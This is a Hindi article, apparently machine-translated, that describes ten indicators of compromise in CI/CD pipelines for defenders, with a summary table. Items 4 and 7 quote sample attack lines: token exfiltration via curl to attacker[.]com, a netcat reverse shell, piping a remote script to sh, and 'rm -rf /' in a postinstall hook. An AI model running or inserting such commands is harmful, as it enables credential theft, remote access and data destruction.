परिचय: साइबर सुरक्षा में सेंधमारी के संकेतक क्या हैं?
सुरक्षा उल्लंघन के संकेत आपके सिस्टम या सुरक्षा उल्लंघन के पहले चेतावनी संकेत होते हैं। pipeline हमले की चपेट में आ सकता है। सरल शब्दों में कहें तो, समझौता के संकेतक ये हमलावरों द्वारा छोड़े गए निशान हैं, जैसे अजीबोगरीब loginईमेल, फ़ाइल में बदलाव, या छिपा हुआ मैलवेयर। आईओसी साइबर सुरक्षावे अपराध स्थल पर उंगलियों के निशान की तरह काम करते हैं, जिससे आपको स्पष्ट सबूत मिलते हैं कि कुछ गड़बड़ है। इसलिए, जब डेवलपर्स पूछते हैं समझौते के संकेत क्या हैंइसका उत्तर केवल सर्वर या फ़ायरवॉल तक सीमित नहीं है, इसमें आधुनिक प्रणालियों में छिपे जोखिम भी शामिल हैं। CI/CD pipelines.
इनमें pipelineहमलावर बिना किसी को पता चले कोड में छेड़छाड़ कर सकते हैं, दुर्भावनापूर्ण निर्भरताएँ डाल सकते हैं या निर्माण चरणों को बदल सकते हैं। हालाँकि, अधिकांश गाइड अभी भी केवल सर्वर या नेटवर्क पर ही ध्यान केंद्रित करते हैं। परिणामस्वरूप, सॉफ़्टवेयर आपूर्ति श्रृंखला सबसे आसान लक्ष्यों में से एक बन गई है।
इसीलिए समझौता के संकेतकों का पता लगाना महत्वपूर्ण है। CI/CD pipelineयह बेहद जरूरी है। सबसे बढ़कर, यह टीमों को मैलवेयर को रोकने, गोपनीय जानकारियों की सुरक्षा करने और सॉफ्टवेयर डिलीवरी के हर चरण को सुरक्षित करने में मदद करता है।
समझौते के शीर्ष 10 संकेतक CI/CD Pipelines
सुरक्षा उल्लंघन के संकेतकों की व्याख्या करते समय, अधिकांश सूचियाँ सर्वर या नेटवर्क पर केंद्रित होती हैं। फिर भी CI/CD pipelineहमलावर अपने पीछे बहुत अलग-अलग निशान छोड़ते हैं। इन संकेतों को पहचानना सक्रिय सुरक्षा के लिए बेहद ज़रूरी है। नीचे 10 ऐसे साइबर सुरक्षा संबंधी खतरे के संकेत दिए गए हैं जिन पर हर डेवलपर और सुरक्षा इंजीनियर को ध्यान देना चाहिए।
1. संदिग्ध निर्भरता परिवर्तन
समझौते के मुख्य संकेतकों में से एक pipelineयह एक अचानक और अजीब डिपेंडेंसी अपडेट है। हमलावर अक्सर डेवलपर्स द्वारा पैकेज मैनेजरों पर रखे गए भरोसे का फायदा उठाकर खतरनाक पैकेज जोड़ देते हैं।
उदाहरण के लिए, npm में package.json अंतर में अचानक निम्नलिखित शामिल हो सकते हैं:
+ "crypto-helper": "^1.0.2" इस तरह के बदलाव सुरक्षित लग सकते हैं, लेकिन ये हर बिल्ड में ट्रोजनयुक्त कोड डाल सकते हैं।
प्रभाव: दूषित बिल्ड में स्रोत से ही मैलवेयर आ जाता है।
पहचान: निर्भरता समीक्षाओं को लागू करें, लॉकफ़ाइल अंतरों को ट्रैक करें और हर समय नए पैकेजों को स्कैन करें।
2. बिल्ड में अस्पष्ट कोड
मैलवेयर बनाने वाले लोग समीक्षाओं से बचने के लिए अस्पष्टीकरण का सहारा लेते हैं। परिणामस्वरूप, सुरक्षा में सेंधमारी का यह संकेतक CI/CD pipelineइन्हें पकड़ना सबसे कठिन हो सकता है। वास्तव में, अस्पष्ट पेलोड अक्सर बिना किसी सूचना के ओपन सोर्स लाइब्रेरी या कंटेनर इमेज में घुस जाते हैं।
उदाहरण के लिए:
- एक PyPI पैकेज का उपयोग करते हुए
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - एक डॉकर इमेज जिसमें गैर-जरूरी UPX बाइनरीज़ शामिल हैं।
- जावास्क्रिप्ट से भरा हुआ
\x41\x42पहचान पत्र चुराने वालों से छिपने में कामयाब।
प्रभाव: हिडन कोड बिल्ड या रनटाइम के दौरान चुपचाप निष्पादित होता है, जो इसे आईओसी साइबर सुरक्षा में एक महत्वपूर्ण संकेत बनाता है।
पहचान: मिलाना SAST मैलवेयर स्कैनिंग के ज़रिए एन्कोडेड या पैक्ड कोड को चिह्नित करें। सबसे महत्वपूर्ण बात यह है कि कोड को अस्पष्ट करने को एक चेतावनी मानें जिसकी आगे जांच की जानी चाहिए।
3. गिट में उजागर हुए रहस्य: आईओसी साइबर सुरक्षा का एक क्लासिक जोखिम
CI/CD pipelineअक्सर रिपॉजिटरी से सीधे गुप्त जानकारी प्राप्त करते हैं। हालाँकि, जब गिट में रहस्य प्रकट होते हैंवे इस प्रश्न का सबसे स्पष्ट उत्तर बन जाते हैं कि "समझौते के संकेतक क्या हैं?" pipelineएक बार क्रेडेंशियल गिट में आ जाने के बाद, हमलावर उनका अनिश्चित काल तक दुरुपयोग कर सकते हैं।
उदाहरण के लिए:
- A
.envफ़ाइल युक्तAWS_SECRET_KEY=. - टोकन अंदर धकेले गए
config.json. - हटाए जाने के बाद भी गिट हिस्ट्री में गुप्त जानकारी अभी भी दिखाई देती है।
प्रभाव: उजागर हुई कुंजियाँ हमलावरों को सीधे पहुँच प्रदान करती हैं। CI/CD pipelineक्लाउड सिस्टम या डेटाबेस। इसलिए यह सुरक्षा उल्लंघन के सबसे खतरनाक संकेतकों में से एक है।
पहचान: उपयोग pre-commit hooks गुप्त स्कैनिंग के लिए CI जॉब्स का उपयोग करें और लीक हुई कुंजियों को तुरंत रद्द करें। इसके अलावा, जोखिम की अवधि को कम करने के लिए स्वचालित निवारण लागू करें।
4. छेड़छाड़ की गई Pipeline विन्यास: सुरक्षा उल्लंघन के छिपे हुए संकेतक
Pipeline कॉन्फ़िगरेशन उच्च-मूल्य वाले लक्ष्य हैं क्योंकि एक छोटा सा बदलाव भी अक्सर पूरी कार्यप्रणाली को बाधित कर देता है।परिणामस्वरूप, छेड़छाड़ की गई pipeline फाइलें आईओसी के लिए एक बड़ा साइबर सुरक्षा जोखिम हैं जिसे पारंपरिक निगरानी उपकरण शायद ही कभी पता लगा पाते हैं।
उदाहरण के लिए:
GitHub Actions में:
- run: curl -X POST http://attacker[.]com --data $GITHUB_TOKEN- GitLab में: एक दुर्भावनापूर्ण कार्य जोड़ा गया
.gitlab-ci.ymlजो संवेदनशील डेटा को लीक करता है। - जेनकिंस में:
sh "nc -e /bin/bash attacker.com 4444".
प्रभाव: ये अनधिकृत परिवर्तन आपके pipeline यह हमलावरों के लिए एक स्थायी गुप्त द्वार बन जाता है, जो स्पष्ट रूप से सुरक्षा में सेंध लगने का संकेत है।
पहचान: हस्ताक्षरित कॉन्फ़िगरेशन लागू करें, पीआर अनुमोदन अनिवार्य करें और अप्रत्याशित कार्यों की निगरानी करें। इसके अलावा, सेट करें guardrails जो बदले हुए वर्कफ़्लो को स्वचालित रूप से ब्लॉक कर देते हैं।
5। विशेषाधिकृत IaC डिफ़ॉल्ट्स
गलत तरीके से कॉन्फ़िगर की गई इन्फ्रास्ट्रक्चर परिभाषाएँ अक्सर छिपे हुए बैकडोर बनाती हैं। परिणामस्वरूप, विशेषाधिकार प्राप्त डिफ़ॉल्ट सेटिंग्स में IaC ये आईओसी के साइबर सुरक्षा के लिए एक विशिष्ट जोखिम हैं।
उदाहरण के लिए:
- एक कुबेरनेट्स परिनियोजन जो पॉड्स को अनुमति देता है
privileged: true. - हेल्म चार्ट सेवाओं को उजागर करते हैं
0.0.0.0:22.
प्रभाव: हमलावर रूट-लेवल एक्सेस प्राप्त कर लेते हैं या आंतरिक सेवाओं को सार्वजनिक रूप से उजागर कर देते हैं। परिणामस्वरूप, इन समस्याओं से हमले का दायरा काफी बढ़ जाता है।
पहचान: लागू करें IaC मर्ज करने से पहले न्यूनतम विशेषाधिकार सुनिश्चित करने के लिए स्कैनिंग करें। इसके अलावा, यह सुनिश्चित करें कि प्रत्येक कॉन्फ़िगरेशन की समीक्षा की जाए। pipeline.
6. असामान्य निर्माण व्यवहार
हमलावर अक्सर बदलाव करते हैं pipeline दुर्भावनापूर्ण गतिविधियों को अंजाम देने के लिए असामान्य व्यवहार। दूसरे शब्दों में, असामान्य निर्माण गतिविधि इस बात का सबसे स्पष्ट उत्तर है कि सुरक्षा में सेंधमारी के संकेतक क्या हैं। CI/CD pipelines.
उदाहरण के लिए:
- यह बिल्ड अपरिचित डोमेन पर आउटबाउंड नेटवर्क अनुरोध भेज रहा है।
- एक Node.js प्रोजेक्ट अचानक PowerShell को सक्रिय कर देता है
npm install. - एक CI जॉब बड़ी बाइनरी फाइलों को डाउनलोड कर रहा है जो बिल्ड स्क्रिप्ट में परिभाषित नहीं हैं।
प्रभाव: संदिग्ध बिल्ड मैलवेयर वितरण केंद्रों के रूप में कार्य कर सकते हैं। सबसे महत्वपूर्ण बात यह है कि वे प्रत्येक तैनाती में दुर्भावनापूर्ण पेलोड फैलाते हैं।
पहचान: अप्रत्याशित प्रक्रियाओं या कनेक्शनों के लिए बिल्ड लॉग की निगरानी करें। इसके अलावा, असामान्य व्यवहारों को चिह्नित करने के लिए विसंगति पहचान को कॉन्फ़िगर करें।
7. आईओसी साइबर सुरक्षा जोखिमों के रूप में दुर्भावनापूर्ण पैकेज स्क्रिप्ट
पैकेज प्रबंधक जीवनचक्र का समर्थन करते हैं hooks जिनका हमलावर फायदा उठाते हैं। इसलिए, npm, PyPI या Dockerfiles में मौजूद दुर्भावनापूर्ण स्क्रिप्ट सुरक्षा में सेंधमारी के मजबूत संकेत हैं।
उदाहरण के लिए:
- एनपीएम:
postinstallस्क्रिप्ट चल रही हैrm -rf /या C2 को बीकनिंग करना। - PyPI:
setup.pyइंस्टालेशन के दौरान छिपे हुए पायथन कोड को निष्पादित करना। - डॉकरफाइल:
RUN curl attacker.sh | sh.
प्रभाव: यह हमला इंस्टॉलेशन के दौरान, रनटाइम टेस्टिंग से पहले ही अंजाम दिया जाता है। नतीजतन, डेवलपर्स को तब तक इसका पता नहीं चलता जब तक बहुत देर हो चुकी होती है।
पहचान: इंस्टॉल स्क्रिप्ट के लिए पैकेज मैनिफेस्ट को स्कैन करें। इसके अलावा, जोखिम भरे कार्यों को प्रतिबंधित करें। hooks in CI/CD जोखिम को कम करने के लिए नौकरियां।
8. रजिस्ट्री विषाक्तता समझौता संकेतक
हमलावर रजिस्ट्री में मौजूद डेटा को बदल देते हैं या संशोधित कर देते हैं, और ये घटनाएं आपूर्ति श्रृंखला में सेंधमारी के संकेतकों के स्पष्ट उदाहरण हैं। pipelines.
उदाहरण के लिए:
- डॉकर इमेज टैग को चुपचाप ट्रोजन युक्त परत के साथ अपडेट कर दिया गया।
- एक आंतरिक पैकेज को दूषित संस्करण से बदल दिया गया।
- एनपीएम नेमस्पेस स्क्वैटिंग, जैसे कि
lodash-proxy.
प्रभाव: रजिस्ट्री आर्टिफैक्ट का उपयोग करने वाला प्रत्येक बिल्ड असुरक्षित हो जाता है। इतना ही नहीं, यह असुरक्षा डाउनस्ट्रीम सेवाओं तक भी फैल जाती है।
पहचान: सभी रजिस्ट्री पुलों पर हस्ताक्षर और अखंडता जांच लागू करें। इसके अलावा, आर्टिफैक्ट के स्रोत को ट्रैक करें। SBOM मान्यता।
9. आईओसी साक्ष्य के रूप में असामान्य उपयोगकर्ता गतिविधि
हैक किए गए खाते लगभग हमेशा असामान्य निशान छोड़ जाते हैं। इसलिए, डेवलपर का असामान्य व्यवहार सुरक्षा में सेंधमारी का एक मजबूत संकेत है।
उदाहरण के लिए:
- Commitस्थानीय समयानुसार सुबह 3 बजे इसे आगे बढ़ाया गया।
- छुट्टी पर गए खातों द्वारा जनसंपर्क अनुमोदन।
- Pipelineअसामान्य आवृत्ति के साथ ट्रिगर होते हैं।
प्रभाव: हमलावर चोरी किए गए क्रेडेंशियल्स का दुरुपयोग करके दुर्भावनापूर्ण बदलाव करते हैं। आखिरकार, अनधिकृत commitये सामान्य कार्यप्रवाहों में आसानी से घुलमिल जाते हैं।
पहचान: मॉनिटर SCM अनियमितताओं के लिए सक्रियता बनाए रखें, मल्टी-फैक्टर ऑथेंटिकेशन (MFA) लागू करें और टोकन को नियमित रूप से बदलते रहें। इसके अलावा, संदिग्ध गतिविधियों पर अलर्ट जारी करें। commit या अनुमोदन पैटर्न।
10. आईओसी साइबर सुरक्षा में अखंडता या हस्ताक्षर जांच में विफलता
एक आम लेकिन अनदेखी समझौता का सूचक यह अखंडता या हस्ताक्षर जांच में विफलता है। आईओसी साइबर सुरक्षा में, ये जांच कोड या कलाकृतियों की प्रामाणिकता को सत्यापित करती हैं। इन्हें छोड़ देने से सुरक्षा संबंधी समस्या उत्पन्न हो सकती है। pipelineउजागर हो गया है।
उदाहरण:
- SHA256 हैश अपेक्षित चेकसम से मेल नहीं खाता।
- एक अनुपलब्ध या अमान्य जीपीजी हस्ताक्षर।
- An SBOM बिना हस्ताक्षर वाले कलाकृतियों को प्रदर्शित करना।
प्रभाव: अखंडता संबंधी विफलताओं का अक्सर मतलब छेड़छाड़, रजिस्ट्री में मिलावट या मैलवेयर का प्रवेश होता है।
पहचान: हस्ताक्षर जांच को स्वचालित करें, चेकसम सत्यापन लागू करें और अहस्ताक्षरित घटकों को अवरुद्ध करें। सबसे महत्वपूर्ण बात यह है कि प्रत्येक असफल जांच को सुरक्षा उल्लंघन का स्पष्ट प्रमाण मानें।
CI/CD समझौते के संकेतकों पर एक नजर
| समझौता संकेतक (आईओसी) | प्रभाव CI/CD Pipelines | कैसे पता करें |
|---|---|---|
| संदिग्ध निर्भरता परिवर्तन | हमलावर पैकेज मैनेजरों में दुर्भावनापूर्ण लाइब्रेरीज़ इंजेक्ट करते हैं, जिससे दूषित बिल्ड तैयार हो जाते हैं। | लॉकफाइल अंतरों को ट्रैक करें, निर्भरता समीक्षाओं को लागू करें और निर्भरताओं को लगातार स्कैन करें। |
| बिल्ड में अस्पष्ट कोड | छिपे हुए पेलोड बिल्ड या रनटाइम के दौरान बिना पता चले निष्पादित होते हैं। | उपयोग SAST और मैलवेयर स्कैनिंग द्वारा बेस64, हेक्स या पैक्ड कोड पैटर्न को चिह्नित करना। |
| गिट में उजागर हुए रहस्य | लीक हुए टोकन या एपीआई कुंजी हमलावरों को महत्वपूर्ण प्रणालियों तक सीधी पहुंच प्रदान करते हैं। | Git में गुप्त स्कैन चलाएँ hooks और लीक हुए क्रेडेंशियल्स को स्वचालित रूप से रद्द कर दें। |
| छेड़छाड़ Pipeline विन्यास | संशोधित वर्कफ़्लो डेटा को बाहर निकालने या अंदर बनाए रखने की अनुमति देते हैं। CI/CD. | पीआर अनुमोदन अनिवार्य करें, हस्ताक्षरित कॉन्फ़िगरेशन लागू करें और निगरानी करें pipeline परिवर्तन। |
| विशेषाधिकृत IaC डिफ़ॉल्ट्स | अत्यधिक अनुमेय भूमिकाएँ या असुरक्षित डिफ़ॉल्ट क्लाउड वातावरण को असुरक्षित बना देते हैं। | न्यूनतम विशेषाधिकार लागू करने के लिए टेराफॉर्म, कुबेरनेट्स और हेल्म फाइलों को स्कैन करें। |
| असामान्य निर्माण व्यवहार | Pipelineइनका उपयोग मैलवेयर वितरण केंद्रों या पार्श्व संचरण के लिए किया जाता है। | अप्रत्याशित डाउनलोड, प्रक्रियाओं या आउटबाउंड कॉल के लिए बिल्ड लॉग का विश्लेषण करें। |
| दुर्भावनापूर्ण पैकेज स्क्रिप्ट | छिपी हुई प्री/पोस्ट-इंस्टॉल स्क्रिप्ट रनटाइम परीक्षण से पहले पेलोड को ट्रिगर करती हैं। | जोखिम भरे npm/PyPI स्क्रिप्ट को ब्लॉक करें और उनके निष्पादन को प्रतिबंधित करें। CI/CD नौकरियों. |
| रजिस्ट्री विषाक्तता | ट्रोजन से प्रभावित कलाकृतियाँ रजिस्ट्री में मौजूद विश्वसनीय छवियों या बाइनरी फ़ाइलों को प्रतिस्थापित कर देती हैं। | चेकसम सत्यापित करें, हस्ताक्षर सत्यापन लागू करें और रजिस्ट्रियों को सक्रिय रूप से स्कैन करें। |
| असामान्य उपयोगकर्ता गतिविधि | समझौता किए गए खाते दुर्भावनापूर्ण सामग्री भेजते हैं। commitएस या ट्रिगर pipelines. | MFA लागू करें, निगरानी करें commitविसंगतियों की पहचान करें और उनका विश्लेषण करें। login पैटर्न। |
| सत्यनिष्ठा या हस्ताक्षर जांच में विफलता | छेड़छाड़ किए गए कोड, निर्भरताओं या छवियों के प्रवेश का संकेत देता है pipeline. | अखंडता जांच को स्वचालित करें और अहस्ताक्षरित या बेमेल घटकों को अवरुद्ध करें। |
पारंपरिक आईओसी साइबर सुरक्षा में क्या कमियां हैं? CI/CD जोखिम
अधिकांश संगठन पहले से ही सर्वर, कंप्यूटर या नेटवर्क पर सुरक्षा उल्लंघन के संकेतकों की निगरानी करते हैं। हालाँकि, आईओसी साइबर सुरक्षा के प्रति यह पारंपरिक दृष्टिकोण निम्नलिखित बातों को अनदेखा करता है: CI/CD pipelineजो अब सबसे महत्वपूर्ण आक्रमण सतहों में से एक हैं। वास्तव में, pipelineये ऐसे अनूठे समझौता संकेत दिखाते हैं जिन्हें पारंपरिक उपकरण पता नहीं लगा सकते।
परंपरागत सुरक्षा में समझौता के संकेतक
पारंपरिक आईओसी साइबर सुरक्षा में, आमतौर पर ध्यान इन बातों पर केंद्रित होता है:
- असामान्य loginऐसे ईमेल पते या आईपी पते जो चोरी किए गए क्रेडेंशियल्स का संकेत देते हैं।
- संदिग्ध फ़ाइल हैश या रजिस्ट्री में बदलाव जो मैलवेयर का संकेत देते हैं।
- अप्रत्याशित आउटबाउंड ट्रैफिक जो डेटा की चोरी की ओर इशारा करता है।
ये सुप्रसिद्ध संकेतक हैं जिन्हें ट्रैक किया जाता है MITER ATT और CK फ्रेमवर्कयह सामान्य शत्रु व्यवहारों और रणनीतियों का मानचित्रण करता है। ये उपयोगी संकेत हैं। हालांकि, ये मुख्य रूप से ऑपरेटिंग सिस्टम या कॉर्पोरेट नेटवर्क पर लागू होते हैं। परिणामस्वरूप, ये सॉफ्टवेयर आपूर्ति श्रृंखला में पहले होने वाली सूक्ष्म छेड़छाड़ को समझने में विफल रहते हैं।
क्यों CI/CD Pipelineअलग हैं
CI/CD pipelineये स्वचालित वातावरण हैं जहाँ डेवलपर्स commit कोड लिखें, डिपेंडेंसी पुल करें और बिल्ड रिलीज़ करें। हमलावर जानते हैं कि यहाँ एक भी गड़बड़ी होने पर इसका असर हर डिप्लॉयमेंट पर पड़ता है। इसलिए, गड़बड़ी के संकेतक क्या हैं? CI/CD pipelineवे देखने में बहुत अलग लगते हैं:
- एक दुर्भावनापूर्ण निर्भरता को चुपचाप package.json या requirements.txt में जोड़ दिया गया है।
- Git में उजागर API कुंजी या टोकन commit.env फ़ाइलें या .env फ़ाइलें।
- एनपीएम या पायपीआई पैकेजों में अस्पष्ट कोड इंजेक्ट किया गया है।
- टेराफॉर्म या कुबेरनेट्स फाइलों में विशेषाधिकार प्राप्त: true जैसे असुरक्षित डिफ़ॉल्ट मान होते हैं।
- Pipeline डेटा की चोरी करने या बैकडोर खोलने के लिए नौकरियों में बदलाव किए गए।
ये समझौता संकेत CI/CD अदृश्य बने रहें standard सुरक्षा उपकरण।
आईओसी साइबर सुरक्षा में मौजूद खामी
हालांकि कई टीमें सुरक्षा उल्लंघन के संकेतकों के महत्व को समझती हैं, फिर भी वे केवल सर्वर और नेटवर्क लॉग से ही जानकारी प्राप्त करने पर निर्भर रहती हैं। इसलिए, हमलावर बिना कोई निशान छोड़े ही बिल्ड को दूषित कर सकते हैं या मैलवेयर डाल सकते हैं। यही कारण है कि XZ Utils बैकडोर या दुर्भावनापूर्ण npm पैकेज जैसी घटनाएं उत्पादन तक पहुंचने से पहले तक पता नहीं चल पाईं।
आपूर्ति श्रृंखला में इस प्रकार की कमियों को भी उजागर किया गया है। CISए का आपूर्ति श्रृंखला सुरक्षा मार्गदर्शनजो चेतावनी देता है कि हमलावर तेजी से निशाना बना रहे हैं CI/CD pipelineऔर रजिस्ट्रियां।
Takeaway
पारंपरिक आईओसी साइबर सुरक्षा आवश्यक है, लेकिन पर्याप्त नहीं है। सबसे महत्वपूर्ण बात यह है कि टीमों को विशिष्ट सुरक्षा उल्लंघन के संकेतकों को पहचानना होगा। CI/CD pipelineतभी वे दुर्भावनापूर्ण कोड का पता लगा सकते हैं या pipeline दुर्व्यवहार को फैलने से पहले ही रोका जा सकता है।
